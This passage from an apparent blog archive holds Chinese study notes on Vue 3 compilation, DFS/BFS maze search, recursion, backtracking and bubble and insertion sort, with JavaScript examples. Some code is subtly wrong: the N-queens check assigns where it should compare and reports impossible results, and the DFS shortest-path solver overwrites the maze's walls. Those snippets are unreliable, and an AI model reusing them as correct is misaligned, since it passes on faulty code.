阶段将模版字符串转化为抽象语法树 AST;transform 阶段则是对 AST 进行了一些转换处理;codegen 阶段根据 AST 生成对应的 render 函数字符串。 静态节点提升。在 transform 阶段,会打上 PatchFlag 标记,有这个标志或者大于 0 表示要更新,否则跳过,应用在 diff 比较过程。-1 代表静态节点,无论层级嵌套多深,静态节点会被提升到 render()函数外面,它的动态节点都直接与 block 根节点绑定,无需再去遍历静态节点。参考Vue3 模版编译原理 事件缓存:cacheHandle,比如绑定一个 onclick 事件,会被视为 PROPS 动态绑定,后序替换点击事件时需要进行更新,cache[1] 自动生成并缓存一个内联函数,“神奇”的变为了一个静态节点。Ps:相当于 React 中 useCallback 自动化。 自定义渲染器,用户可以尝试 WebGL 自定义渲染器。]]></content>
<tags>
<tag>interview</tag>
<tag>vue</tag>
</tags>
</entry>
<entry>
<title><![CDATA[「超详笔记」算法——深度与广度优先(JS版)]]></title>
<url>%2F2020%2F11%2F08%2Falgorithm-dfs-bfs%2F</url>
<content type="text"><![CDATA[深度优先搜索(Depth-First Search / DFS)深度优先搜索,从起点出发,从规定的方向中选择其中一个不断地向前走,直到无法继续为止,然后尝试另外一种方向,直到最后走到终点。就像走迷宫一样,尽量往深处走。 DFS 解决的是连通性的问题,即,给定两个点,一个是起始点,一个是终点,判断是不是有一条路径能从起点连接到终点。起点和终点,也可以指的是某种起始状态和最终的状态。问题的要求并不在乎路径是长还是短,只在乎有还是没有。有时候题目也会要求把找到的路径完整的打印出来。 DFS 遍历例题:假设我们有这么一个图,里面有 A、B、C、D、E、F、G、H 8 个顶点,点和点之间的联系如下图所示,对这个图进行深度优先的遍历。 DFS 遍历解题思路必须依赖栈(Stack),特点是后进先出(LIFO)。 第一步,选择一个起始顶点,例如从顶点 A 开始。把 A 压入栈,标记它为访问过(用红色标记),并输出到结果中。 第二步,寻找与 A 相连并且还没有被访问过的顶点,顶点 A 与 B、D、G 相连,而且它们都还没有被访问过,我们按照字母顺序处理,所以将 B 压入栈,标记它为访问过,并输出到结果中。 第三步,现在我们在顶点 B 上,重复上面的操作,由于 B 与 A、E、F 相连,如果按照字母顺序处理的话,A 应该是要被访问的,但是 A 已经被访问了,所以我们访问顶点 E,将 E 压入栈,标记它为访问过,并输出到结果中。 第四步,从 E 开始,E 与 B、G 相连,但是 B 刚刚被访问过了,所以下一个被访问的将是 G,把 G 压入栈,标记它为访问过,并输出到结果中。 第五步,现在我们在顶点 G 的位置,由于与 G 相连的顶点都被访问过了,类似于我们走到了一个死胡同,必须尝试其他的路口了。所以我们这里要做的就是简单地将 G 从栈里弹出,表示我们从 G 这里已经无法继续走下去了,看看能不能从前一个路口找到出路。 可以看到,每次我们在考虑下一个要被访问的点是什么的时候,如果发现周围的顶点都被访问了,就把当前的顶点弹出。 第六步,现在栈的顶部记录的是顶点 E,我们来看看与 E 相连的顶点中有没有还没被访问到的,发现它们都被访问了,所以把 E 也弹出去。 第七步,当前栈的顶点是 B,看看它周围有没有还没被访问的顶点,有,是顶点 F,于是把 F 压入栈,标记它为访问过,并输出到结果中。 第八步,当前顶点是 F,与 F 相连并且还未被访问到的点是 C 和 D,按照字母顺序来,下一个被访问的点是 C,将 C 压入栈,标记为访问过,输出到结果中。 第九步,当前顶点为 C,与 C 相连并尚未被访问到的顶点是 H,将 H 压入栈,标记为访问过,输出到结果中。 第十步,当前顶点是 H,由于和它相连的点都被访问过了,将它弹出栈。 第十一步,当前顶点是 C,与 C 相连的点都被访问过了,将 C 弹出栈。 第十二步,当前顶点是 F,与 F 相连的并且尚未访问的点是 D,将 D 压入栈,输出到结果中,并标记为访问过。 第十三步,当前顶点是 D,与它相连的点都被访问过了,将它弹出栈。以此类推,顶点 F,B,A 的邻居都被访问过了,将它们依次弹出栈就好了。最后,当栈里已经没有顶点需要处理了,我们的整个遍历结束。 走迷宫问题给定一个二维矩阵代表一个迷宫,迷宫里面有通道,也有墙壁,通道由数字 0 表示,而墙壁由 -1 表示,有墙壁的地方不能通过,那么,能不能从 A 点走到 B 点。 从 A 开始走的话,有很多条路径通往 B,例如下面两种。 走迷宫问题代码实现递归方式实现 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970// 迷宫:从起点到达设定终点,要求绕过中间设置的障碍// 通过递归的方式实现// 目标点const target = [4, 2]// 水平方向偏移量const dx = function (d) &#123; switch (d) &#123; case 0: return 1 case 1: return 0 case 2: return -1 case 3: return 0 &#125;&#125;// 竖直方向偏移量const dy = function (d) &#123; switch (d) &#123; case 0: return 0 case 1: return 1 case 2: return 0 case 3: return -1 &#125;&#125;// 是否在安全范围:未超界并且不在障碍上const isSafe = function (maze, i, j) &#123; return i &gt;= 0 &amp;&amp; i &lt; maze.length &amp;&amp; j &gt;= 0 &amp;&amp; j &lt; maze[0].length &amp;&amp; maze[i][j] !== -1&#125;const dfs = function (maze, x, y) &#123; // 第一步:判断是否找到B if (x === target[0] &amp;&amp; y === target[1]) &#123; return true &#125; // 第二步:标记当前的点已经被访问过 maze[x][y] = -1 // 第三步:在四个方向上尝试 for (let d = 0; d &lt; 4; d++) &#123; let i = x + dx(d) let j = y + dy(d) // 第四步:如果有一条路径被找到了,返回true if (isSafe(maze, i, j) &amp;&amp; dfs(maze, i, j)) &#123; return true &#125; &#125; return false&#125;const maze = [ [0, 0, 0, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, -1, 0, 0, 0, 0], [0, 0, 0, 0, 0, -1]]console.log('dfs: ', dfs(maze, 0, 3)) // dfs: true 非递归方式实现 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778// 非递归方式实现// 目标点const target = [4, 2]// 水平方向偏移量const dx = function (d) &#123; switch (d) &#123; case 0: return 1 case 1: return 0 case 2: return -1 case 3: return 0 &#125;&#125;// 竖直方向偏移量const dy = function (d) &#123; switch (d) &#123; case 0: return 0 case 1: return 1 case 2: return 0 case 3: return -1 &#125;&#125;// 是否在安全范围:未超界并且不在障碍上const isSafe = function (maze, i, j) &#123; return i &gt;= 0 &amp;&amp; i &lt; maze.length &amp;&amp; j &gt;= 0 &amp;&amp; j &lt; maze[0].length &amp;&amp; maze[i][j] !== -1&#125;const dfs = function (maze, x, y) &#123; // 创建一个 Stack const stack = [] // 将起始点压入栈,标记它访问过 stack.push([x, y]) maze[x][y] = -1 while (stack.length) &#123; // 取出当前点 const pos = stack.pop() x = pos[0] y = pos[1] // 判断是否找到了目的地 if (x === target[0] &amp;&amp; y === target[1]) &#123; return true &#125; // 在四个方向上尝试 for (let d = 0; d &lt; 4; d++) &#123; let i = x + dx(d) let j = y + dy(d) if (isSafe(maze, i, j)) &#123; stack.push([i, j]) maze[i][j] = -1 &#125; &#125; &#125; return false&#125;const maze = [ [0, 0, 0, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, -1, 0, 0, 0, 0], [0, 0, 0, 0, 0, -1]]console.log('dfs: ', dfs(maze, 0, 3)) 递归实现: 代码看上去很简洁; 实际应用中,递归需要压入和弹出栈,栈深的时候会造成运行效率低下。 非递归实现: 栈支持压入和弹出; 栈能提高效率。 DFS 算法分析DFS 是图论里的算法,分析利用 DFS 解题的复杂度时,应当借用图论的思想。图有两种表示方式:邻接表、邻接矩阵。假设图里有 V 个顶点,E 条边。 时间复杂度: 邻接表 访问所有顶点的时间为 O(V),而查找所有顶点的邻居一共需要 O(E) 的时间,所以总的时间复杂度是 O(V + E)。 邻接矩阵 查找每个顶点的邻居需要 O(V) 的时间,所以查找整个矩阵的时候需要 O(V2) 的时间。 举例:利用 DFS 在迷宫里找一条路径的复杂度。迷宫是用矩阵表示。 解法:把迷宫看成是邻接矩阵。假设矩阵有 M 行 N 列,那么一共有 M × N 个顶点,因此时间复杂度就是 O(M × N)。 空间复杂度: DFS 需要堆栈来辅助,在最坏情况下,得把所有顶点都压入堆栈里,所以它的空间复杂度是 O(V),即 O(M × N)。 DFS 寻找最短路径思路 1:暴力法。 寻找出所有的路径,然后比较它们的长短,找出最短的那个。此时必须尝试所有的可能。因为 DFS 解决的只是连通性问题,不是用来求解最短路径问题的。 思路 2:优化法。 一边寻找目的地,一边记录它和起始点的距离(也就是步数)。从某方向到达该点所需要的步数更少,则更新。 从各方向到达该点所需要的步数都更多,则不再尝试。 DFS 寻找最短路径代码实现12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788// 通过 DFS 算法求最短路径// 记录每一步和起始点的距离// 从某方向到达该点所需的步数更少,则更新。从各个方向到达该点所需要的步数都更多,则不再尝试// 目标点const target = [4, 2]// 起点const begain = [0, 3]// 水平方向偏移量const dx = function (d) &#123; switch (d) &#123; case 0: return 1 case 1: return 0 case 2: return -1 case 3: return 0 &#125;&#125;// 竖直方向偏移量const dy = function (d) &#123; switch (d) &#123; case 0: return 0 case 1: return 1 case 2: return 0 case 3: return -1 &#125;&#125;// 是否在安全范围:未超界并且不在障碍上const isSafe = function (maze, i, j) &#123; return i &gt;= 0 &amp;&amp; i &lt; maze.length &amp;&amp; j &gt;= 0 &amp;&amp; j &lt; maze[0].length &amp;&amp; maze[i][j] !== -1&#125;const solve = function (maze) &#123; // 第一步,除了起始点外,其他点都用 MAX_VALUE 替代 for (let i = 0; i &lt; maze.length; i++) &#123; maze[i].fill(Number.MAX_VALUE) &#125; maze[begain[0]][begain[1]] = 0 // 第二步,进行优化的 DFS 操作 dfs(maze, ...begain) // 第三步,是否找到了目的地 if (maze[target[0]][target[1]] &lt; Number.MAX_VALUE) &#123; console.log('shortest path count is: ', maze[target[0]][target[1]]) &#125; else &#123; console.log('can not find target') &#125;&#125;const dfs = function (maze, x, y) &#123; // 第一步,判断是否找到了目标点 if (x === target[0] &amp;&amp; y === target[1]) return // 第二步,在四个方向上尝试 for (let d = 0; d &lt; 4; d++) &#123; let i = x + dx(d) let j = y + dy(d) // 判断下一个点的步数是否比目前的步数+1还要大 if (isSafe(maze, i, j) &amp;&amp; maze[i][j] &gt; maze[x][y] + 1) &#123; // 如果是,更新下一个点的步数,并继续 DFS 下去 maze[i][j] = maze[x][y] + 1 dfs(maze, i, j) &#125; &#125;&#125;const maze = [ [0, 0, 0, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, -1, 0, 0, 0, 0], [0, 0, 0, 0, 0, -1]]solve(maze) 广度优先搜索(Breadth-First Search / BFS)广度优先搜索,一般用来解决最短路径的问题。和深度优先搜索不同,广度优先的搜索是从起始点出发,一层一层地进行,每层当中的点距离起始点的步数都是相同的,当找到了目的地之后就可以立即结束。 广度优先的搜索可以同时从起始点和终点开始进行,称之为双端 BFS。这种算法往往可以大大地提高搜索的效率。 举例:在社交应用程序中,两个人之间需要经过多少个朋友的介绍才能互相认识对方。 解法: 只从一个方向进行 BFS,有时候这个人认识的朋友特别多,那么会导致搜索起来非常慢; 如果另外一方认识的人比较少,从这一方进行搜索,就能极大地减少搜索的次数; 每次在决定从哪一边进行搜索的时候,要判断一下哪边认识的人比较少,然后从那边进行搜索。 BFS 遍历例题:假设我们有这么一个图,里面有 A、B、C、D、E、F、G、H 8 个顶点,点和点之间的联系如下图所示,对这个图进行深度优先的遍历。 BFS 遍历解题思路依赖队列(Queue),先进先出(FIFO)。 一层一层地把与某个点相连的点放入队列中,处理节点的时候正好按照它们进入队列的顺序进行。 第一步,选择一个起始顶点,让我们从顶点 A 开始。把 A 压入队列,标记它为访问过(用红色标记)。 第二步,从队列的头取出顶点 A,打印输出到结果中,同时将与它相连的尚未被访问过的点按照字母大小顺序压入队列,同时把它们都标记为访问过,防止它们被重复地添加到队列中。 第三步,从队列的头取出顶点 B,打印输出它,同时将与它相连的尚未被访问过的点(也就是 E 和 F)压入队列,同时把它们都标记为访问过。 第四步,继续从队列的头取出顶点 D,打印输出它,此时我们发现,与 D 相连的顶点 A 和 F 都被标记访问过了,所以就不要把它们压入队列里。 第五步,接下来,队列的头是顶点 G,打印输出它,同样的,G 周围的点都被标记访问过了。我们不做任何处理。 第六步,队列的头是 E,打印输出它,它周围的点也都被标记为访问过了,我们不做任何处理。 第七步,接下来轮到顶点 F,打印输出它,将 C 压入队列,并标记 C 为访问过。 第八步,将 C 从队列中移出,打印输出它,与它相连的 H 还没被访问到,将 H 压入队列,将它标记为访问过。 第九步,队列里只剩下 H 了,将它移出,打印输出它,发现它的邻居都被访问过了,不做任何事情。 第十步,队列为空,表示所有的点都被处理完毕了,程序结束。 迷宫最短路径问题运用广度优先搜索的算法在迷宫中寻找最短的路径。 迷宫最短路径问题解题思路搜索的过程如下。 从起始点 A 出发,类似于涟漪,一层一层地扫描,避开墙壁,同时把每个点与 A 的距离或者步数标记上。当找到目的地的时候返回步数,这个步数保证是最短的。 迷宫最短路径问题代码实现12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576// 目标点const target = [4, 2]// 起点const begain = [0, 3]// 水平方向偏移量const dx = function (d) &#123; switch (d) &#123; case 0: return 1 case 1: return 0 case 2: return -1 case 3: return 0 &#125;&#125;// 竖直方向偏移量const dy = function (d) &#123; switch (d) &#123; case 0: return 0 case 1: return 1 case 2: return 0 case 3: return -1 &#125;&#125;// 是否在安全范围:未超界并且不在障碍上const isSafe = function (maze, i, j) &#123; return i &gt;= 0 &amp;&amp; i &lt; maze.length &amp;&amp; j &gt;= 0 &amp;&amp; j &lt; maze[0].length &amp;&amp; maze[i][j] !== -1&#125;const bfs = function (maze, x, y) &#123; const queue = [] queue.push([x, y]) while (queue.length) &#123; // 从队列头取出当前点 const pos = queue.shift() x = pos[0] y = pos[1] // 从四个方向进行 BFS for (let d = 0; d &lt; 4; d++) &#123; let i = x + dx(d) let j = y + dy(d) if (isSafe(maze, i, j)) &#123; // 记录步数(标记访问过) maze[i][j] = maze[x][y] + 1 // 然后添加到队列中 queue.push([i, j]) // 如果发现了目的地就返回 if (i === target[0] &amp;&amp; j === target[1]) return &#125; &#125; &#125;&#125;const maze = [ [0, 0, 0, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, 0, -1, 0, 0, 0], [0, -1, 0, 0, 0, 0], [0, 0, 0, 0, 0, -1]]bfs(maze, 0, 3)console.log('shortest path count is: ', maze[target[0]][target[1]]) BFS 算法分析同样借助图论的分析方法,假设有 V 个顶点,E 条边。 时间复杂度: 邻接表 每个顶点都需要被访问一次,时间复杂度是 O(V);相连的顶点(也就是每条边)也都要被访问一次,加起来就是 O(E)。因此整体时间复杂度就是 O(V+E)。 邻接矩阵 V 个顶点,每次都要检查每个顶点与其他顶点是否有联系,因此时间复杂度是 O(V2)。 举例:在迷宫里进行 BFS 搜索。 解法:用邻接矩阵。假设矩阵有 M 行 N 列,那么一共有 M×N 个顶点,时间复杂度就是 O(M×N)。 空间复杂度: 需要借助一个队列,所有顶点都要进入队列一次,从队列弹出一次。在最坏的情况下,空间复杂度是 O(V),即 O(M×N)。]]></content>
<tags>
<tag>javascript</tag>
<tag>algorithm</tag>
</tags>
</entry>
<entry>
<title><![CDATA[「超详笔记」算法——递归与回溯(JS版)]]></title>
<url>%2F2020%2F11%2F06%2Falgorithm-recursion-backtracking%2F</url>
<content type="text"><![CDATA[递归和回溯的关系密不可分:递归的基本性质就是函数调用,在处理问题的时候,递归往往是把一个大规模的问题不断地变小然后进行推导的过程。回溯则是利用递归的性质,从问题的起始点出发,不断地进行尝试,回头一步甚至多步再做选择,直到最终抵达终点的过程。 递归(Recursion)递归算法思想递归算法是一种调用自身函数的算法(二叉树的许多性质在定义上就满足递归)。 汉诺塔问题有三个塔 A、B、C,一开始的时候,在塔 A 上放着 n 个盘子,它们自底向上按照从大到小的顺序叠放。现在要求将塔 A 中所有的盘子搬到塔 C 上,让你打印出搬运的步骤。在搬运的过程中,每次只能搬运一个盘子,另外,任何时候,无论在哪个塔上,大盘子不能放在小盘子的上面。 汉诺塔问题解法 从最终的结果出发,要把 n 个盘子按照大小顺序叠放在塔 C 上,就需要将塔 A 的底部最大的盘子搬到塔 C; 为了实现步骤 1,需要将除了这个最大盘子之外的其余盘子都放到塔 B 上。 由上可知,将原来的问题规模从 n 个盘子变成了 n-1 个盘子,即将 n-1 个盘子转移到塔 B 上。 如果一个函数,能将 n 个盘子从塔 A,借助塔 B,搬到塔 C。那么,也可以利用该函数将 n-1 个盘子从塔 A,借助塔 C,搬到塔 B。同理,不断地把问题规模变小,当 n 为 1,也就是只有 1 个盘子的时候,直接打印出步骤。 汉诺塔问题代码示例12345678910111213141516171819202122// 汉诺塔问题const hano = function (A, B, C, n) &#123; if (n &gt; 0) &#123; hano(A, C, B, n - 1) move(A, C) hano(B, A, C, n - 1) &#125;&#125;const move = function (p, c) &#123; const temp = p.pop() c.push(temp)&#125;const a = [1, 2, 3, 4, 5]const b = []const c = []hano(a, b, c, a.length)console.log('----after----')console.log('a: ', String(a)) //console.log('b: ', String(b)) //console.log('c: ', String(c)) // 1, 2, 3, 4, 5 由上述总结出递归的算法思想,将一个问题的规模变小,然后再利用从小规模问题中得出的结果,结合当前的值或者情况,得出最终的结果。 通俗来说,把要实现的递归函数看成是已经实现好的, 直接利用解决一些子问题,然后需要考虑的就是如何根据子问题的解以及当前面对的情况得出答案。这种算法也被称为自顶向下(Top-Down)的算法。 数字解码问题LeetCode 第 91 题,解码的方法。一条包含字母 A-Z 的消息通过以下方式进行了编码:‘A’ -&gt; 1‘B’ -&gt; 2…‘Z’ -&gt; 26给定一个只包含数字的非空字符串,请计算解码方法的总数。 数字解码解题思路 就例题中的第二个例子,给定编码后的消息是字符串“226”,如果对其中“22”的解码有 m 种可能,那么,加多一个“6”在最后,相当于在最终解密出来的字符串里多了一个“F”字符而已,总体的解码还是只有 m 种。 对于“6”而言,如果它的前面是”1”或者“2”,那么它就有可能是“16”,“26”,所以还可以再往前看一个字符,发现它是“26”。而前面的解码组合是 k 个,那么在这 k 个解出的编码里,添加一个“Z”,所以总的解码个数就是 m+k。 数字解码代码实现123456789101112131415161718192021222324252627const numDecoding = function (str) &#123; if (str.charAt(0) === '0') return 0 const chars = [...str] return decode(chars, chars.length - 1)&#125;// 字符串转化成字符组,利用递归函数 decode,从最后一个字符串向前递归const decode = function (chars, index) &#123; if (index &lt;= 0) return 1 let count = 0 let curr = chars[index] let prev = chars[index - 1] // 当前字符比 `0` 大,则直接利用它之前的字符串所求得结果 if (curr &gt; '0') &#123; count = decode(chars, index - 1) &#125; // 由前一个字符和当前字符构成的数字,值必须要在1和26之间,否则无法编码 if (prev === '1' || (prev == '2' &amp;&amp; curr &lt;= '6')) &#123; count += decode(chars, index - 2) &#125; return count&#125;console.log('count: ', numDecoding('1213')) // count: 5 递归问题解题模板通过上述例题,来归纳总结一下递归函数的解题模版。 解题步骤 判断当前情况是否非法,如果非法就立即返回,这一步也被称为完整性检查(Sanity Check)。例如,看看当前处理的情况是否越界,是否出现了不满足条件的情况。通常,这一部分代码都是写在最前面的。 判断是否满足结束递归的条件。在这一步当中,处理的基本上都是一些推导过程当中所定义的初始情况。 将问题的规模缩小,递归调用。在归并排序和快速排序中,我们将问题的规模缩小了一半,而在汉诺塔和解码的例子中,我们将问题的规模缩小了一个。 利用在小规模问题中的答案,结合当前的数据进行整合,得出最终的答案。 递归问题解题模板代码实现12345678910111213141516171819function fn(n) &#123; // 第一步:判断输入或者状态是否非法? if (input/state is invalid) &#123; return; &#125; // 第二步:判读递归是否应当结束? if (match condition) &#123; return some value; &#125; // 第三步:缩小问题规模 result1 = fn(n1) result2 = fn(n2) ... // 第四步: 整合结果 return combine(result1, result2)&#125; 中心对称数问题LeetCode 第 247 题:找到所有长度为 n 的中心对称数。 示例输入: n = 2输出: [“11”,”69”,”88”,”96”] 中心对称数问题解题思路 当 n=0 的时候,应该输出空字符串:“ ”。 当 n=1 的时候,也就是长度为 1 的中心对称数有:0,1,8。 当 n=2 的时候,长度为 2 的中心对称数有:11, 69,88,96。注意:00 并不是一个合法的结果。 当 n=3 的时候,只需要在长度为 1 的合法中心对称数的基础上,不断地在两边添加 11,69,88,96 就可以了。 [101, 609, 808, 906, 111, 619, 818, 916, 181, 689, 888, 986] 随着 n 不断地增长,我们只需要在长度为 n-2 的中心对称数两边添加 11,69,88,96 即可。 中心对称数问题代码实现12345678910111213141516171819202122232425262728293031const helper = function (n) &#123; debugger // 第一步:判断输入或状态是否非法 if (n &lt; 0) &#123; throw new Error('illegal argument') &#125; // 第二步:判读递归是否应当结束 if (n === 0) &#123; return [''] &#125; if (n === 1) &#123; return ['0', '1', '8'] &#125; // 第三步:缩小问题规模 const list = helper(n - 2) // 第四步:整合结果 const res = [] for (let i = 0; i &lt; list.length; i++) &#123; let s = list[i] res.push('1' + s + '1') res.push('6' + s + '9') res.push('8' + s + '8') res.push('9' + s + '6') &#125; return res&#125;console.log(helper(2)) // [ '11', '69', '88', '96' ] 回溯(Backtracking)回溯算法思想回溯实际上是一种试探算法,这种算法跟暴力搜索最大的不同在于,在回溯算法里,是一步一步地小心翼翼地进行向前试探,会对每一步探测到的情况进行评估,如果当前的情况已经无法满足要求,那么就没有必要继续进行下去,也就是说,它可以帮助我们避免走很多的弯路。 回溯算法的特点在于,当出现非法的情况时,算法可以回退到之前的情景,可以是返回一步,有时候甚至可以返回多步,然后再去尝试别的路径和办法。这也就意味着,想要采用回溯算法,就必须保证,每次都有多种尝试的可能。 回溯算法解题模板解题步骤: 判断当前情况是否非法,如果非法就立即返回; 当前情况是否已经满足递归结束条件,如果是就将当前结果保存起来并返回; 当前情况下,遍历所有可能出现的情况并进行下一步的尝试; 递归完毕后,立即回溯,回溯的方法就是取消前一步进行的尝试。 回溯算法解题代码12345678910111213141516171819202122function fn(n) &#123; // 第一步:判断输入或者状态是否非法? if (input/state is invalid) &#123; return; &#125; // 第二步:判读递归是否应当结束? if (match condition) &#123; return some value; &#125; // 遍历所有可能出现的情况 for (all possible cases) &#123; // 第三步: 尝试下一步的可能性 solution.push(case) // 递归 result = fn(m) // 第四步:回溯到上一步 solution.pop(case) &#125;&#125; 凑整数问题LeetCode 第 39 题:给定一个无重复元素的数组 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合。candidates 中的数字可以无限制重复被选取。 说明:所有数字(包括 target)都是正整数。解集不能包含重复的组合。 凑整数问题解题思路题目要求的是所有不重复的子集,而且子集里的元素的值的总和等于一个给定的目标。 思路 1:暴力法。 罗列出所有的子集组合,然后逐个判断它们的总和是否为给定的目标值。解法非常慢。 思路 2:回溯法。 从一个空的集合开始,小心翼翼地往里面添加元素。 每次添加,检查一下当前的总和是否等于给定的目标。 如果总和已经超出了目标,说明没有必要再尝试其他的元素了,返回并尝试其他的元素; 如果总和等于目标,就把当前的组合添加到结果当中,表明我们找到了一种满足要求的组合,同时返回,并试图寻找其他的集合。 凑整数问题代码实现1234567891011121314151617181920212223242526272829const combinationSum = function (candidates, target) &#123; const results = [] backtracking(candidates, target, 0, [], results) return results&#125;const backtracking = function (candidates, target, start, solution, results) &#123; if (target &lt; 0) &#123; return false &#125; if (target === 0) &#123; results.push([...solution]) return true &#125; for (let i = start; i &lt; candidates.length; i++) &#123; solution.push(candidates[i]) backtracking(candidates, target - candidates[i], i, solution, results) solution.pop() &#125;&#125;console.log(combinationSum([1, 2, 3], 5))// [ [ 1, 1, 1, 1, 1 ],// [ 1, 1, 1, 2 ],// [ 1, 1, 3 ],// [ 1, 2, 2 ],// [ 2, 3 ] ] 在主函数里: 定义一个 results 数组用来保存最终的结果; 调用函数 backtracking,并将初始的情况以及 results 传递进去,这里的初始情况就是从第一个元素开始尝试,而且初始的子集为空。 在 backtracking 函数里: 检查当前的元素总和是否已经超出了目标给定的值,每添加进一个新的元素时,就将它从目标总和中减去; 如果总和已经超出了目标给定值,就立即返回,去尝试其他的数值; 如果总和刚好等于目标值,就把当前的子集添加到结果中。 在循环体内: 每次添加了一个新的元素,立即递归调用 backtracking,看是否找到了合适的子集 递归完毕后,要把上次尝试的元素从子集里删除,这是最重要的。 以上,就完成了回溯。 提示:这是一个最经典的回溯的题目,麻雀虽小,但五脏俱全。它完整地体现了回溯算法的各个阶段。 N 皇后问题LeetCode 第 51 题, 在一个 N×N 的国际象棋棋盘上放置 N 个皇后,每行一个并使她们不能互相攻击。给定一个整数 N,返回 N 皇后不同的的解决方案的数量。 N 皇后问题解题思路解决 N 皇后问题的关键就是如何判断当前各个皇后的摆放是否合法。 利用一个数组 columns[] 来记录每一行里皇后所在的列。例如,第一行的皇后如果放置在第 5 列的位置上,那么 columns[0] = 6。从第一行开始放置皇后,每行只放置一个,假设之前的摆放都不会产生冲突,现在将皇后放在第 row 行第 col 列上,检查一下这样的摆放是否合理。 方法就是沿着两个方向检查是否存在冲突就可以了。 N 皇后问题代码实现首先,从第一行开始直到第 row 行的前一行为止,看那一行所放置的皇后是否在 col 列上,或者是不是在它的对角线上,代码如下。 123456789const check = function (row, col, columns) &#123; for (let r = 0; r &lt; row; r++) &#123; // 其他皇后是否在当前放置皇后的列和对角线上 if ((columns[r] = col || row - r == Math.abs(columns[r] - col))) &#123; return false &#125; &#125; return true&#125; 然后进行回溯的操作,代码如下。 123456789101112131415161718192021222324252627282930const totalNQueens = function (n) &#123; const results = [] backtracking(n, 0, [], [], results) console.log('results: ', results) // results: [ [ [ 0, 0 ], [ 1, 0 ], [ 2, 0 ] ],[ [ 0, 2 ], [ 1, 0 ], [ 2, 0 ] ] ] console.log('count: ', results.length) // count: 2&#125;const backtracking = function (n, row, columns, solution, results) &#123; // 是否在所有 n 行里都摆好了皇后 if (row === n) &#123; results.push([...solution]) return &#125; // 尝试将皇后放置到当前行中的每一列 for (let col = 0; col &lt; n; col++) &#123; columns[row] = col solution.push([row, col]) // 检查是否合法,如果合法就继续到下一行 if (check(row, col, columns)) &#123; backtracking(n, row + 1, columns, solution, results) &#125; solution.pop() // 如果不合法,就不要把皇后放在这列中 columns[row] = -1 &#125;&#125;totalNQueens(3)]]></content>
<tags>
<tag>javascript</tag>
<tag>algorithm</tag>
</tags>
</entry>
<entry>
<title><![CDATA[「超详笔记」算法——排序(JS版)]]></title>
<url>%2F2020%2F11%2F05%2Falgorithm-sort%2F</url>
<content type="text"><![CDATA[冒泡排序(Bubble Sort)冒泡排序基本思想给定一个数组,我们把数组里的元素通通倒入到水池中,这些元素将通过相互之间的比较,按照大小顺序一个一个地像气泡一样浮出水面。 冒泡排序实现每一轮,从杂乱无章的数组头部开始,每两个元素比较大小并进行交换,直到这一轮当中最大或最小的元素被放置在数组的尾部,然后不断地重复这个过程,直到所有元素都排好位置。其中,核心操作就是元素相互比较。 冒泡排序例题分析给定数组 [2, 1, 7, 9, 5, 8],要求按照从左到右、从小到大的顺序进行排序。 冒泡排序解题思路从左到右依次冒泡,把较大的数往右边挪动即可。 首先指针指向第一个数,比较第一个数和第二个数的大小,由于 2 比 1 大,所以两两交换,[1, 2, 7, 9, 5, 8]。 接下来指针往前移动一步,比较 2 和 7,由于 2 比 7 小,两者保持不动,[1, 2, 7, 9, 5, 8]。到目前为止,7 是最大的那个数。 指针继续往前移动,比较 7 和 9,由于 7 比 9 小,两者保持不动,[1, 2, 7, 9, 5, 8]。现在,9 变成了最大的那个数。 再往后,比较 9 和 5,很明显,9 比 5 大,交换它们的位置,[1, 2, 7, 5, 9, 8]。 最后,比较 9 和 8,9 比 8 大,交换它们的位置,[1, 2, 7, 5, 8, 9]。经过第一轮的两两比较,9 这个最大的数就像冒泡一样冒到了数组的最后面。 接下来进行第二轮的比较,把指针重新指向第一个元素,重复上面的操作,最后,数组变成了:[1, 2, 5, 7, 8, 9]。 在进行新一轮的比较中,判断一下在上一轮比较的过程中有没有发生两两交换,如果一次交换都没有发生,就证明其实数组已经排好序了。 冒泡排序代码示例1234567891011121314151617181920212223// 冒泡排序算法const bubbleSort = function (arr) &#123; const len = arr.length // 标记每一轮是否发生来交换 let hasChange = true // 如果没有发生交换则已经是排好序的,直接跳出外层遍历 for (let i = 0; i &lt; len &amp;&amp; hasChange; i++) &#123; hasChange = false for (let j = 0; j &lt; len - 1 - i; j++) &#123; if (arr[j] &gt; arr[j + 1]) &#123; let temp = arr[j] arr[j] = arr[j + 1] arr[j + 1] = temp hasChange = true &#125; &#125; &#125;&#125;const arr = [2, 1, 7, 9, 5, 8]bubbleSort(arr)console.log('arr: ', arr) 冒泡排序算法分析冒泡排序空间复杂度假设数组的元素个数是 n,由于在整个排序的过程中,我们是直接在给定的数组里面进行元素的两两交换,所以空间复杂度是 O(1)。 冒泡排序时间复杂度给定的数组按照顺序已经排好 在这种情况下,我们只需要进行 n−1 次的比较,两两交换次数为 0,时间复杂度是 O(n)。这是最好的情况。 给定的数组按照逆序排列。在这种情况下,我们需要进行 n(n-1)/2 次比较,时间复杂度是 O(n2)。这是最坏的情况。 给定的数组杂乱无章。在这种情况下,平均时间复杂度是 O(n2)。 由此可见,冒泡排序的时间复杂度是 O(n2)。它是一种稳定的排序算法。(稳定是指如果数组里两个相等的数,那么排序前后这两个相等的数的相对位置保持不变。) 插入排序(Insertion Sort)插入排序基本思想不断地将尚未排好序的数插入到已经排好序的部分。 插入排序特点在冒泡排序中,经过每一轮的排序处理后,数组后端的数是排好序的;而对于插入排序来说,经过每一轮的排序处理后,数组前端的数都是排好序的。 插入排序例题分析对数组 [2, 1, 7, 9, 5, 8] 进行插入排序。 插入排序解题思路 首先将数组分成左右两个部分,左边是已经排好序的部分,右边是还没有排好序的部分,刚开始,左边已排好序的部分只有第一个元素 2。接下来,我们对右边的元素一个一个进行处理,将它们放到左边。 